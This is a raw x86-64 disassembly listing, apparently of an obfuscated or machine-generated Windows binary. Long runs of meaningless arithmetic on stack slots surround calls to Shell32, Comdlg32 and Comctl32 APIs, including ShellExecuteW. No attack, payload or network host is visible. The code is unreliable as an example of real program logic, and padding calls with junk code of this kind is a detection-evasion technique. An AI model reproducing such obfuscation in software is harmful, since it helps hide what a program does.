mov eax, dword [rsp + 0x5b50]
mov dword [rsp + 0x6d5c], eax
mov rax, qword [rsp + 0xd390]
mov rcx, qword [rsp + 0xd358]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc330], rax
movsx eax, byte [rsp + 0x12c]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f2], al
movzx eax, word [rsp + 0x2ad8]
mov word [rsp + 0x2b00], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [0x14019d05c]
or eax, ecx
mov word [rsp + 0x2a40], ax
mov r9d, 0x6e
mov r8, qword [rsp + 0xcde0]
mov edx, 7
mov rcx, qword [rsp + 0xd508]
call qword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [rsp + 0x6cd8], eax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd388]
mov qword [rsp + 0xd510], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd510]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14019efc0], rax
movzx eax, word [rsp + 0x2a9c]
movzx ecx, word [rsp + 0x29a8]
sar eax, cl
mov word [rsp + 0x2a10], ax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xd3a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xab00], rax
lea rcx, [rsp + 0x1fbe0]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x6d60], eax
mov rax, qword [rsp + 0xd178]
mov qword [rsp + 0xd518], rax
movsx eax, byte [0x14019ef92]
movsx ecx, byte [rsp + 0x362]
and eax, ecx
mov byte [rsp + 0x4f4], al
mov rax, qword [rsp + 0xd480]
mov ecx, dword [rsp + 0x6d34]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5ce8], eax
movzx eax, byte [rsp + 0x4f6]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f0], al
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov dword [rsp + 0x6d64], eax
lea rcx, [rsp + 0xcf00]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xd520], rax
movsx eax, word [rsp + 0x2a8c]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
sar eax, cl
mov word [reloc.SHELL32.dll_ILSaveToStream], ax
movsx eax, word [0x14019f080]
movsx ecx, word [rsp + 0x2aa4]
or eax, ecx
mov rcx, qword [rsp + 0xd420]
mov word [rcx], ax
movzx eax, word [rsp + 0x2ad0]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd4a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x2ae0]
mov word [rsp + 0x2b04], ax
movsx eax, byte [rsp + 0x444]
movsx ecx, byte [rsp + 0x4f5]
sub eax, ecx
mov rcx, qword [rsp + 0xd0a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [rsp + 0x9e28]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa4f8], rax
mov eax, dword [0x14019d060]
mov ecx, dword [rsp + 0x5dfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69fc], eax
movsx eax, word [rsp + 0x2a38]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd258]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov word [rsp + 0x2b08], ax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [0x14019f030]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xd088]
movzx ecx, al
mov rax, qword [rsp + 0xc338]
shl rax, cl
mov qword [rsp + 0xd3f8], rax
mov rax, qword [rsp + 0xd2b0]
movzx ecx, al
mov rax, qword [rsp + 0xb590]
sar rax, cl
mov qword [rsp + 0xaf10], rax
mov rax, qword [rsp + 0xd3f8]
mov rcx, qword [rsp + 0xd450]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd3c8], rax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
and eax, ecx
mov word [rsp + 0x2a68], ax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x4ff], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5eb4], eax
movzx eax, byte [rsp + 0x4e1]
mov byte [rsp + 0x500], al
mov dword [rsp + 0x28], ILGetNext
mov rax, qword [rsp + 0xd2b8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xd528]
mov r8, qword [rsp + 0xce48]
mov rdx, qword [rsp + 0xd1b0]
mov rcx, qword [rsp + 0xce38]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0xd530], rax
mov rax, qword [rsp + 0xd0d0]
mov ecx, dword [rsp + 0x69f8]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xc330]
mov qword [0x14019f098], rax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b00]
or eax, ecx
mov word [rsp + 0x1810], ax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a88]
shl eax, cl
mov word [rsp + 0x13d8], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a94], ax
mov rax, qword [rsp + 0xd288]
mov qword [rsp + 0xd538], rax
mov rax, qword [rsp + 0xd0d0]
mov rcx, qword [rsp + 0xd058]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd120]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fe0], rax
mov r8d, 0xef
mov rdx, qword [rsp + 0xd528]
mov rcx, qword [rsp + 0xd530]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xd540], rax
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x6d24], eax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd488]
mov byte [rcx], al
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13d8], ax
movzx eax, word [rsp + 0x2a44]
mov word [0x14019f0a0], ax
lea rax, [rsp + 0xd088]
mov qword [rsp + 0xd548], rax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4ee]
mov byte [rsp + 0x501], al
mov rax, qword [rsp + 0xd098]
mov ecx, dword [rsp + 0x6254]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6c78], eax
mov rax, qword [rsp + 0xd3b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd210]
shl rax, cl
mov rcx, qword [rsp + 0xd0e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov dword [rsp + 0x6d68], eax
movsx eax, byte [rsp + 0x4f4]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd0a8]
mov byte [rcx], al
movsx eax, word [0x14019f080]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x17ac], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a10]
sar eax, cl
mov word [str.L_nbT], ax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [0x14019f070]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe80], rax
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd048], rax
mov rax, qword [rsp + 0xce08]
movzx eax, word [rax]
mov word [rsp + 0x2b0c], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a80], ax
mov rax, qword [rsp + 0xd2f0]
movzx ecx, al
mov rax, qword [rsp + 0xc330]
shr rax, cl
mov qword [rsp + 0xc4d8], rax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov dword [rsp + 0x6d6c], eax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xd3f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd260], rax
movsx eax, word [rsp + 0xe78]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d07c], ax
movzx eax, word [rsp + 0x2ad4]
movzx ecx, word [rsp + 0x20b0]
add eax, ecx
mov word [rsp + 0x2a98], ax
lea rax, [rsp + 0x283]
mov qword [rsp + 0xd550], rax
mov rax, qword [rsp + 0xd480]
mov eax, dword [rax]
mov ecx, dword [0x14019efa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd0f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xcb10]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc920], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4e4], al
mov rax, qword [rsp + 0xd468]
mov rcx, qword [rsp + 0xd0c8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd178], rax
mov eax, dword [rsp + 0x6d64]
mov dword [rsp + 0x6d70], eax
mov rax, qword [rsp + 0xd398]
movsx eax, word [rax]
movsx ecx, word [0x14019f068]
shl eax, cl
mov word [rsp + 0x2a74], ax
movzx eax, word [rsp + 0x2aa0]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019d058], ax
mov rax, qword [rsp + 0xcec0]
mov qword [rsp + 0xd558], rax
movzx eax, word [rsp + 0x25c0]
mov rcx, qword [0x14019f060]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x269c], ax
movsx eax, word [rsp + 0x2aec]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2af8], ax
mov rax, qword [rsp + 0xcf48]
movzx ecx, al
mov rax, qword [rsp + 0xd3d0]
shl rax, cl
mov qword [rsp + 0xad00], rax
mov eax, dword [rsp + 0x6d00]
mov rcx, qword [rsp + 0xd2f8]
mov qword [rsp + 0xd560], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd560]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x654c], eax
mov rax, qword [rsp + 0xd3b8]
mov rax, qword [rax]
mov qword [rsp + 0xd568], rax
movsx eax, byte [rsp + 0x461]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x346], al
movzx eax, word [rsp + 0x1180]
movzx ecx, word [rsp + 0x131c]
sub eax, ecx
mov rcx, qword [rsp + 0xd148]
mov word [rcx], ax
mov rax, qword [rsp + 0xd4b8]
mov rcx, qword [rsp + 0xd220]
sub rcx, rax
mov rax, rcx
mov qword [0x14019efe8], rax
mov rax, qword [rsp + 0xd0f8]
mov ecx, dword [rsp + 0x59f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5ac4], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4e2], al
mov rax, qword [rsp + 0xd258]
movzx eax, word [rax]
mov word [rsp + 0x2b10], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aac]
and eax, ecx
mov word [rsp + 0x2b08], ax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov qword [rsp + 0xd570], rax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ec]
sar eax, cl
mov byte [rsp + 0x4e3], al
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xd578], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd578]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5cf0], eax
lea rcx, [rsp + 0x6cb8]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0xd580], rax
lea rax, [rsp + 0x13d8]
mov qword [rsp + 0xd588], rax
movzx eax, word [rsp + 0x2abc]
mov word [0x14019f0a4], ax
mov rax, qword [rsp + 0xd478]
mov rcx, qword [rsp + 0xaa88]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd1c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ee8], rax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb4e0], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ae8]
sub eax, ecx
mov word [rsp + 0x17ac], ax
mov eax, dword [rsp + 0x6d64]
mov dword [rsp + 0x6d74], eax
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xd468]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd2f0], rax
movsx eax, byte [rsp + 0x4df]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x252], al
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4fe]
shl eax, cl
mov byte [rsp + 0x283], al
mov eax, dword [rsp + 0x60c4]
mov ecx, dword [rsp + 0x59f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ce8], eax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d080], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov word [rsp + 0x2b14], ax
movzx eax, word [rsp + 0x2a48]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd148]
mov word [rcx], ax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov qword [rsp + 0xd590], rax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4eb], al
mov rax, qword [rsp + 0xd400]
mov rcx, qword [rsp + 0xd248]
mov qword [rsp + 0xd598], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd598]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xbb48], rax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d5c]
shl eax, cl
mov rcx, qword [rsp + 0xd058]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2b00]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a84], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov word [rsp + 0x2b18], ax
mov rax, qword [rsp + 0xc4f8]
mov rcx, qword [rsp + 0xd208]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14019f050]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2a3c]
movzx ecx, word [rsp + 0x2a60]
add eax, ecx
mov word [rsp + 0x2aa0], ax
lea rax, [rsp + 0xaf10]
mov qword [rsp + 0xd5a0], rax
mov rax, qword [rsp + 0xd048]
mov rcx, qword [rsp + 0xcac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd0d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xbb48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd358], rax
movsx eax, byte [rsp + 0x252]
movsx ecx, byte [rsp + 0x4ea]
sar eax, cl
mov byte [rsp + 0x4ab], al
movzx eax, byte [0x14019d010]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4f6], al
mov eax, dword [rsp + 0x5eb4]
mov dword [rsp + 0x6d78], eax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6afc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d030], ax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x1fbc]
mov word [rsp + 0x2b1c], ax
mov r9d, 0x4c
lea r8, [rsp + 0x6cd8]
lea rdx, [fcn.140182fd0]
mov rcx, qword [rsp + 0xd370]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x6d7c], eax
movzx eax, word [0x14019d048]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bb0], ax
movsx eax, byte [rsp + 0x4f4]
movsx ecx, byte [rsp + 0x4e3]
xor eax, ecx
mov byte [rsp + 0x4ad], al
mov rax, qword [rsp + 0xbb48]
mov rcx, qword [rsp + 0xd1e8]
mov qword [rsp + 0xd5a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd5a8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xd3b8]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0x75
lea rax, [rsp + 0x1f3f0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1e3b0]
mov r8d, 0x5f
mov edx, 0x46
mov rcx, qword [rsp + 0xd528]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x6be0], eax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5b3c]
shl eax, cl
mov dword [rsp + 0x6b8c], eax
xor edx, edx
mov rcx, qword [rsp + 0xce40]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
lea rax, [rsp + 0x2a84]
mov qword [rsp + 0xd5b0], rax
movzx eax, word [rsp + 0x2a48]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
mov dword [rsp + 0x28], SHUpdateImageW
mov rax, qword [rsp + 0xd5b8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xd2c8]
mov r8, qword [rsp + 0xd528]
mov rdx, qword [rsp + 0xcde0]
mov rcx, qword [rsp + 0xce90]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0xd5c0], rax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov qword [0x14019f0a8], rax
mov rax, qword [rsp + 0xd388]
mov rax, qword [rax]
mov qword [rsp + 0xd5c8], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [0x14019d070]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd208], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ff8], rax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a10]
add eax, ecx
mov word [rsp + 0x17d4], ax
mov rax, qword [rsp + 0xd050]
mov ecx, dword [rsp + 0x6c94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d3c], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x502], al
mov rax, qword [rsp + 0xd0d0]
mov ecx, dword [0x14019efb0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d0c], eax
lea rax, [rsp + 0xd570]
mov qword [rsp + 0xd5d0], rax
lea rax, [rsp + 0x6d7c]
mov qword [rsp + 0x20], rax
mov r9d, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
lea r8, [rsp + 0xd140]
lea rdx, [rsp + 0x209d0]
lea rcx, [rsp + 0xd448]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x6bc4], eax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x14019ef91], al
movsx eax, word [rsp + 0x2b00]
movsx ecx, word [reloc.SHELL32.dll_ILSaveToStream]
or eax, ecx
mov word [rsp + 0x13d8], ax
movsx eax, word [rsp + 0x2b10]
movsx ecx, word [rsp + 0x2a8c]
sar eax, cl
mov word [rsp + 0x2a34], ax
movzx eax, word [rsp + 0x2aa8]
movzx ecx, word [rsp + 0x2a54]
and eax, ecx
mov word [rsp + 0x26d0], ax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd548]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce70]
movzx eax, byte [rax]
mov byte [rsp + 0x503], al
mov eax, dword [rsp + 0x6d28]
imul eax, dword [rsp + 0x654c]
mov dword [rsp + 0x69f8], eax
mov rax, qword [rsp + 0xcfd8]
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd4c0], rax
movzx eax, word [rsp + 0x2ae8]
mov word [rsp + 0x2b20], ax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
mov word [0x14019f0b0], ax
mov rax, qword [rsp + 0x9d98]
mov rcx, qword [0x14019f030]
mov qword [rsp + 0xd5d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd5d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd288], rax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd98], ax
movzx eax, byte [rsp + 0x1de]
movzx ecx, byte [rsp + 0x4fc]
shl eax, cl
mov rcx, qword [rsp + 0xd0c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5eac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6450], eax
mov rax, qword [rsp + 0xd3b8]
mov rax, qword [rax]
mov qword [rsp + 0xd5e0], rax
mov rax, qword [rsp + 0xd3d8]
mov ecx, dword [rsp + 0x6d00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d68], eax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3e7], al
movsx eax, word [rsp + 0x2ad8]
movsx ecx, word [rsp + 0x2a74]
add eax, ecx
mov word [rsp + 0x2ab4], ax
mov rax, qword [0x14019f060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a98]
add eax, ecx
mov word [0x14019d084], ax
mov rax, qword [rsp + 0xbd38]
mov qword [rsp + 0xd5e8], rax
mov rax, qword [rsp + 0xd548]
mov rcx, qword [0x14019f048]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xacf8], rax
movsx eax, word [rsp + 0x2760]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x13d8], ax
lea rcx, [rsp + 0x1efc0]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x6d04], eax
lea rax, [rsp + 0x26d0]
mov qword [rsp + 0xd5f0], rax
mov rax, qword [rsp + 0xd058]
mov ecx, dword [rsp + 0x6098]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6d70], eax
mov rax, qword [rsp + 0x9c50]
mov qword [rsp + 0xd5f8], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4df], al
mov rax, qword [0x14019d008]
movzx ecx, al
mov rax, qword [rsp + 0xd3d0]
shl rax, cl
mov qword [rsp + 0xd4b8], rax
movsx eax, word [rsp + 0xe78]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019ef94], ax
lea rcx, [rsp + 0x20060]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x6c38], eax
movzx eax, word [rsp + 0x2a4c]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11d4], ax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x283], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov dword [rsp + 0x6d80], eax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd5a0]
mov qword [rsp + 0xd600], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd600]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd558], rax
movsx eax, byte [rsp + 0x346]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4f5], al
lea rax, [rsp + 0xd2f0]
mov qword [rsp + 0xd608], rax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6d20]
mov dword [rsp + 0x6d6c], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2acc]
sub eax, ecx
mov word [rsp + 0x11b4], ax
movzx eax, word [rsp + 0x2aa8]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f07c], ax
lea rcx, [rsp + 0x1e3b0]
call qword [sym.imp.SHELL32.dll_ILFree]
mov rax, qword [0x14019f030]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov word [rsp + 0x2b24], ax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11b4]
add eax, ecx
mov word [rsp + 0x2aa4], ax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd220]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc338], rax
mov eax, dword [rsp + 0x6d70]
mov dword [rsp + 0x6d84], eax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4fb], al
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xd248]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc8e8], rax
movzx eax, word [rsp + 0x1bb0]
movzx ecx, word [rsp + 0x2aa8]
sar eax, cl
mov word [rsp + 0x24f8], ax
mov rax, qword [0x14019f030]
mov rax, qword [rax]
mov qword [0x14019f0b8], rax
mov rax, qword [rsp + 0xd098]
mov ecx, dword [rsp + 0x6d78]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d58], eax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov byte [rsp + 0x504], al
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
